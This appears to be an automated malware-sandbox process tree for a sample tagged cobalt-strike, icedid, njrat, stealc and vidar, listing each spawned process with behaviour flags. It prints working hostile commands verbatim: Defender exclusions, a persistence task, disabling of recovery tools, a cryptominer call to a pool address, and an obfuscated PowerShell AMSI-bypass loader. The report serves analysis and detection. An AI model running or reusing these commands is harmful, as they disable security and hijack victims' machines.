C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1180
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1596
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3212

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3300
- C:\Users\Admin\AppData\Local\Temp\2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1224
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4032
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:620
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:3872
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:860
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1324
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:672
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2676
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:624
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2108
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1660
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1508
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4764
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3440
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4416
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1416
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3428

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3612

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3980

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:4352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:884

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5084

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:1344

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2268

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:212

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4828

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe cb4074ce18bd73a9473ca71d233b07e5 RmdxkSHqP0u5VYkLxNklww.0.1.0.0.0
1⤵
PID:4120
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4236

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:5052

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4364

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:FRDKWSMoYHkz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$LWyFQdIpKOmotD,[Parameter(Position=1)][Type]$hDfPKCCYEw)$UOlGzqpQnvC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+'D'+''+'e'+''+'l'+''+'e'+'g'+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+'leg'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UOlGzqpQnvC.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+'al'+[Char](78)+''+'a'+'m'+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$LWyFQdIpKOmotD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+'m'+''+'e'+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$UOlGzqpQnvC.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',Vi'+[Char](114)+'tu'+[Char](97)+'l',$hDfPKCCYEw,$LWyFQdIpKOmotD).SetImplementationFlags('Run'+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $UOlGzqpQnvC.CreateType();}$JQdXUliGJiQEY=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+''+'e'+'m.'+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+'n32'+[Char](46)+''+'U'+'n'+'s'+''+'a'+'f'+'e'+'N'+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$DitukmezfyLUZn=$JQdXUliGJiQEY.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+'oc'+'A'+''+[Char](100)+'d'+[Char](114)+''+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'t'+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VajAlLUrAoAXgKyfoQv=FRDKWSMoYHkz @([String])([IntPtr]);$VJSlKZOkbMrNewlatQDbKW=FRDKWSMoYHkz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VorAyKaGUmW=$JQdXUliGJiQEY.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+'32.'+[Char](100)+'ll')));$NgpPTOSEdngZab=$DitukmezfyLUZn.Invoke($Null,@([Object]$VorAyKaGUmW,[Object](''+'L'+''+'o'+'adL'+[Char](105)+'br'+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$rPCAPlDwFgOyLlVsY=$DitukmezfyLUZn.Invoke($Null,@([Object]$VorAyKaGUmW,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'tu'+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$deMpvup=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NgpPTOSEdngZab,$VajAlLUrAoAXgKyfoQv).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+'l');$xSglDMyUdjydMBXoK=$DitukmezfyLUZn.Invoke($Null,@([Object]$deMpvup,[Object]('Am'+'s'+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+'ff'+'e'+''+[Char](114)+'')));$ykmKZcEQUG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rPCAPlDwFgOyLlVsY,$VJSlKZOkbMrNewlatQDbKW).Invoke($xSglDMyUdjydMBXoK,[uint32]8,4,[ref]$ykmKZcEQUG);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](112+25),[Byte](200+19),[Byte](103+81),[Byte](110-23),[Byte](75-75),[Byte](50-43),[Byte](24+104),[Byte](116+21),[Byte](247-55),[Byte](85+110),[Byte](216-85),[Byte](234-42),[Byte](77-77)),0,$xSglDMyUdjydMBXoK,184-171);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rPCAPlDwFgOyLlVsY,$VJSlKZOkbMrNewlatQDbKW).Invoke($xSglDMyUdjydMBXoK,[uint32]8,0x20,[ref]$ykmKZcEQUG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'TW'+'A'+''+'R'+'E').GetValue('$'+'S'+''+[Char](72)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:FRDKWSMoYHkz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$LWyFQdIpKOmotD,[Parameter(Position=1)][Type]$hDfPKCCYEw)$UOlGzqpQnvC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+'D'+''+'e'+''+'l'+''+'e'+'g'+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+'leg'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UOlGzqpQnvC.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+'al'+[Char](78)+''+'a'+'m'+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$LWyFQdIpKOmotD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+'m'+''+'e'+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$UOlGzqpQnvC.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',Vi'+[Char](114)+'tu'+[Char](97)+'l',$hDfPKCCYEw,$LWyFQdIpKOmotD).SetImplementationFlags('Run'+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $UOlGzqpQnvC.CreateType();}$JQdXUliGJiQEY=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+''+'e'+'m.'+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+'n32'+[Char](46)+''+'U'+'n'+'s'+''+'a'+'f'+'e'+'N'+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$DitukmezfyLUZn=$JQdXUliGJiQEY.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+'oc'+'A'+''+[Char](100)+'d'+[Char](114)+''+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'t'+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VajAlLUrAoAXgKyfoQv=FRDKWSMoYHkz @([String])([IntPtr]);$VJSlKZOkbMrNewlatQDbKW=FRDKWSMoYHkz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VorAyKaGUmW=$JQdXUliGJiQEY.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+'32.'+[Char](100)+'ll')));$NgpPTOSEdngZab=$DitukmezfyLUZn.Invoke($Null,@([Object]$VorAyKaGUmW,[Object](''+'L'+''+'o'+'adL'+[Char](105)+'br'+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$rPCAPlDwFgOyLlVsY=$DitukmezfyLUZn.Invoke($Null,@([Object]$VorAyKaGUmW,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'tu'+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$deMpvup=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NgpPTOSEdngZab,$VajAlLUrAoAXgKyfoQv).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+'l');$xSglDMyUdjydMBXoK=$DitukmezfyLUZn.Invoke($Null,@([Object]$deMpvup,[Object]('Am'+'s'+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+'ff'+'e'+''+[Char](114)+'')));$ykmKZcEQUG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rPCAPlDwFgOyLlVsY,$VJSlKZOkbMrNewlatQDbKW).Invoke($xSglDMyUdjydMBXoK,[uint32]8,4,[ref]$ykmKZcEQUG);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](112+25),[Byte](200+19),[Byte](103+81),[Byte](110-23),[Byte](75-75),[Byte](50-43),[Byte](24+104),[Byte](116+21),[Byte](247-55),[Byte](85+110),[Byte](216-85),[Byte](234-42),[Byte](77-77)),0,$xSglDMyUdjydMBXoK,184-171);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rPCAPlDwFgOyLlVsY,$VJSlKZOkbMrNewlatQDbKW).Invoke($xSglDMyUdjydMBXoK,[uint32]8,0x20,[ref]$ykmKZcEQUG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'TW'+'A'+''+'R'+'E').GetValue('$'+'S'+''+[Char](72)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4332

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
